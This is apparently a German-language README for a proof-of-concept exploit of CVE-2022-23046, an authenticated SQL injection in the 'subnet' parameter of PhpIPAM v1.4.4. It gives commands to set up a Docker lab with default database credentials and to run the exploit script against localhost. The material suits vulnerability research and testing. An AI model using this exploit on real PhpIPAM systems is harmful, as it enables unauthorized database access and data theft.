
SQL-Injection-Schwachstelle in PhpIPAM v1.4.4
PhpIPAM v1.4.4 erlaubt einem authentifizierten Admin-Benutzer, SQL-Anweisungen im Parameter "subnet" zu injizieren, während er ein Subnetz über app/admin/routing/edit-bgp-mapping-search.php sucht.
git clone https://github.com/dnr6419/CVE-2022-23046.git
cd CVE-2022-23046 && docker-compose up -d
pip3(or pip) install -r requirements.txt
python3(or python) CVE-2022-23046.py -h
2-2. Wählen Sie [Automatische Datenbankinstallation].
2-3. MySQL-Benutzername und Passwort sind "root"/"my_secret_mysql_root_pass".
2-4. Passwort setzen und anmelden, um zu überprüfen, ob die Installation abgeschlossen ist.

python3 CVE-2022-23046.py --url http://localhost --user admin
# und geben Sie Ihr Passwort ein
